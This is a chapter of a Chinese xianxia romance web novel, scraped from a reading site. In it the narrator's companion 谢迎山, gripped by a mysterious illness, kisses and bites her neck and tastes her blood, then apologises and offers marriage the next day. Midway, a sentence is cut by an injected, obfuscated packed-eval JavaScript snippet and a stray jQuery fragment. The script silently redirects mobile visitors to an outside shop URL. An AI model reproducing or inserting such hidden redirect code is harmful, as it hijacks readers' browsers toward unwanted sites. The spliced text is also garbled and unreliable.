文趣网 > 其他小说 > 修仙也要期末考吗 > 20.第 20 章
    像被冰冷的海水笼罩沉浮,溺没其中,挣扎尽是徒劳。

    你整个人跨坐在谢迎山双腿上,被紧紧拥住的身躯动弹不得,只得伏在他肩头,相贴着的部位都被染上寒气,鼻尖萦绕着淡淡的草药味。

    幽夜淡月之下,你像是被一只鬼圈在怀中肆意吞吃,任何微不足道的反抗最终都化作几声呜咽,阻隔不了身下人的寸寸侵袭。

    两人垂落的长发大半交缠于身侧,部分夹在紧贴着的身躯之间,激起密麻痒意。

    落在你颈间的吻先是试探着贴了一下,而后咬了上来,力道微重,吮吸吻舐,当真像极了汲取活人阳气的鬼魅。

    他凑得太近,眼睫一下一下扫过你的皮肤,惹得你肩颈骤痒不得已往后缩,又被他抱着压回去。

    谢迎山的唇瓣在那处含吮了会,片刻后上移寸许,正是大动脉的位置。

    脉搏持续鼓动,落在他眼中是极其诱惑、具有致命吸引力的存在。

    你生出些许将要被咬破血管的错觉与颤栗,心下惧怕,挣扎的幅度大了起来:“谢迎山!谢迎山!”

    乍闻你的呼唤声,他神思似是清明几分,喉间逸出模糊的应答,桎梏着你的双手亦松了些力道。

    你松了口气,环抱着他脖颈的双手卸力收回,想借此机会逃跑,才刚起身就被按了回去。

    比之方才更为急促的吻落了下来,次次落在那处脉搏尤为明显的地方,好几次你都以为他会咬进去,吓得去推他。

    预想中惧怕的场景没有降临,只是耳畔他的喘息声越发无律。

    不知过了多久,他终于大发慈悲松开你,微微屈身,保持着与你平视的位置,先前漫着血丝的眼睛恢复如初。

    漆黑的双瞳倒映出你的影子,万千寒白月色汇于眉眼间,冷似幽磷,他这般苍白淡漠的神情无端令你更加惊颤。

    若非你还能感受到他的胸膛有在缓缓随着呼吸起伏,你真会觉得眼前之人是深夜自鬼门关爬出来的鬼物。

    谢迎山面色苍白,双唇间却沾留几滴鲜艳血珠,如同素白宣纸上的几笔妖冶朱砂。

    这是谁的血?

    你茫然地摸了下方才被他舔吻的地方,触感温热粘腻。

    是你自己的血。

    他全程虽说有咬过你,但力道克制,不至于刺破,为什么会出现伤口?

    你又摩挲了几下,指腹碰到一点极其细微的木屑。

    原来是那时破门而入时被飞溅的木屑划伤的,你竟一点感觉也没有。

    你正自顾自想着,手腕被人猝地握住。

    那股力道带着你反方向栽倒,你下意识用空着的那只手撑在他身上。

    先前沾着微末血迹的手指被包裹进一处湿热的地方,柔软舌尖卷刮起那点血滴吞咽而下,喉结滚动的一瞬清晰可见。

    放荡又轻佻。

    你几乎是惊慌失措地将手抽了回来,藏在身后,颤着声音:“你、你——!”

    半天也没说出个所以然来,你干脆一鼓作气地从他身上翻下来,拿起门前的食盒后跑出了八百米冲刺的速度,飞快逃回自己屋里,将门给锁上。

    ……

    你不知道谢迎山今天晚上到底发什么疯,想了大半个晚上也没想明白,最后缩在床上迷迷糊糊睡着了。

    清晨你是被鸟鸣给吵醒的。

    昨夜睡时忘了关窗,树上站了一排不知道叫什么的鸟在兴奋啼叫。

    你被阳光晃了眼睛,坐床上好半天才适应,慢吞吞地起身抽走支窗的撑杆。

    洗漱穿衣,于睡梦之中遗忘的记忆在你推开房门的那一刻悉数归位。

    大意了,不该直接把门推开的,应该先观察一下再行动。

    好巧不巧的是,你正好和站在院子里的谢迎山对视了。

    “……”

    你下意识偏过头去,但转念又一想:为非作歹的是他,我怕什么?

    于是你将头重新转回来,远远喊他:“谢迎山!”

    准备兴师问罪,如今是连谢公子也不喊了。

    你走至他跟前:“你昨夜——”

    颈间被贴上一个稍凉的东西,打断了你的后续话语。

    谢迎山慢条斯理抽回手:“药膏。”

    一夜过去,被碎屑擦破的伤口已然结痂。

    膏体是凉的,一如他那时贴上来的唇。

    那些迷蒙记忆再度浮现脑海,你身形微僵。

    “我身患奇病,时不时便会发作,唯有靠丹药才能缓解一二。如今进了秘境,丹药不足,手边亦无可替代的草药供以研制,故以昨夜会失去理智。”

    谢迎山视线落在你颈间,不知是在看药膏还是伤口,亦或者别的什么,“做出此等冒犯之举,多有得罪。你想要何补偿?”

    他凤眼微凝,语气不紧不慢,稀松平常得像昨日清晨时问你想吃什么一样:

    “你家住何方?或是出身何门何派?待秘境消解之后,我亲自上门提亲。”

    ?

    认错态度这么诚恳,倒是有点让人措手不及。

    你摇头:“倒也不必。”

    作为一个现代人,你的思想还是很开明的。

    不就是被亲了两下咬了几口,哪里就至于到谈婚论嫁的地步了。

    原以为只有那种格外看重礼教的世家公子会这样,谢迎山这个在乌啼里潇洒惯了的人怎么也这样?

    只是他那时的模样实在有点吓人。

    平日里便难辨喜怒,眉眼郁翳,昨夜更甚。

    长发披散,神色沉沉,幽冷难测,教人看了遍体生寒。

    你对谢迎山表示了拒绝,他也不执着,转而道:“可我总是要偿还的,只等出了这秘境。”

    落在你身上的目光带着隐秘的探究,“不过,我更好奇的是——你究竟是什么人?”

    他的怪病自幼时起便带着了,除了服用特制丹药之外再无二法可医,一旦断药便会受噬心之痛,意识涣散,持续数个时辰方歇。

    你的血竟能纾解他的剧痛。

    为什么?

    “…如你所见,我只是一个普通人。”

    来自另一个世界的秘密不能随意道出,你强装镇定道,“我的血有什么奇怪之处…莫说谢公子不明白,我自己也不明白。”

    怎么变成他反过来审问你了?

    你错就错在那时太善良,不惜把门撞破也要冲进去。

    唉,老实人付出真心就这样被对待!

    谢迎山一时未言。

    普通人?

    他见过形形色色很多人,众生百态,不过是无数滴水汇江河,纵使轨迹蜿蜒各不同,抬头便知本源,垂首再瞧,已尽数融入流水,这便是同源共流的芸芸众生。

    而你的身上,没有这般世事镌刻的痕迹。

    再说回你身边的人,邬其右、余撇捺、周含章……还有如今的师回文,哪一个称得上“平平无奇”?

    你不知

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17727069|206722||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    道谢迎山此时此刻在想些什么。

    他一言不发地盯着你看,令人胆战心惊的,就在你快要忍不下去犹豫着要不要跑回房里时,谢迎山终于开口了:

    “如今又喊‘谢公子’了?”

    ……

    那他到底想怎么样?

    “谢公子是觉得这个称呼不好听?”

    他似笑非笑:“好听,好听得很。”

    —

    师回文昨夜折返回佘记后便彻夜未归。

    你担心会出什么事,拉着谢迎山一道出了门,准备再去店里瞧瞧有没有什么异样。

    城东佘记商铺,依旧排着长长的队。

    佘老板一面招呼客,一面眼尖地瞧见了你,三言两语哄好了客人后便朝你走来,看起来似乎有些……迫不及待?

    “谢姑娘。”她笑着,目光如水般拂过你的肩颈,“看来是与郎君和好了。”

    纵使衣裳遮去了大半,只有零星的斑驳微露,也足以见是如何被拢着一点一点吻吮出来的。

    这姑娘的夫婿,昨日她瞧着是位琼堆玉砌般的神仙公子,到底还是个食人间烟火的。

    你:?

    何出此言呢。

    虽说商人个个都是人精,眼力见比谁都好,但为什么能在你刚迈进门、并且师回文还没在的情况下得出这个结论的?

    她意味深长的视线落点在你颈间。

    你顿时什么都明白了。

    明明走时对着铜镜好生整理过,只是从宅院走至佘记,路途迢迢,衣领微散,虚虚露了些许暧昧的红痕出来。

    ……

    这下误会大了,但你还不好矢口否认。

    身上的吻痕并不是名义上的夫君所留,莫名的背德感令你心虚不安。

    你重新拉拽过衣领,轻盈柔滑的布料遮掩住一切靡丽的痕迹,随意嗯了两声,迅速转移话题:“佘记的糕点当真香甜,教人念念不忘,我这才一大早便又跑了过来,想再买一份呢。”

    暂且不知这方商铺是否藏有蹊跷,你不打算将自己的真正目的全盘托出。

    虽说以师回文的修为应当不至于被什么东西困住,但多留个心眼总是好的。

    佘老板闻言大笑:“你既喜欢,再拿一盒去便是。”

    说罢便要去柜台上拿一盒递给你。

    插队不太好吧。

    你摇摇头,指了指队伍中的谢迎山:“那是我兄长。”

    言下之意——我们会好好排队的。

    佘老板一愣:“谢公子是你兄长?”

    你微怔:“佘老板也认识他?”

    谢迎山不算爱出门的,整日里安闲自在地待在院子里,外出频率远不如师回文,什么时候和佘老板认识的?

    佘老板似在打量些什么,语气颇为惊奇:“是了…你也姓谢,不过我还从未听说过谢上卿有个妹妹。”

    难不成是表亲?

    等等,什么谢上卿?

    你察觉到两人的谈话不在同一个频道上,转身去看另一侧的队伍。

    谢迎山气质出挑,站在长队里竟不似来买糕点的,而是在挑名贵玉器,抬首看了你一眼。

    你视线蓦地一顿,稍稍后撤。

    在谢迎山隔着一个男子的后方,还站着另一个你认识的人。

    那人着一身淡青色,这颜色第一眼初望去并不会刻意留心;那张脸却很不一般了,翩翩风流,日月失光。

    ——谢辍。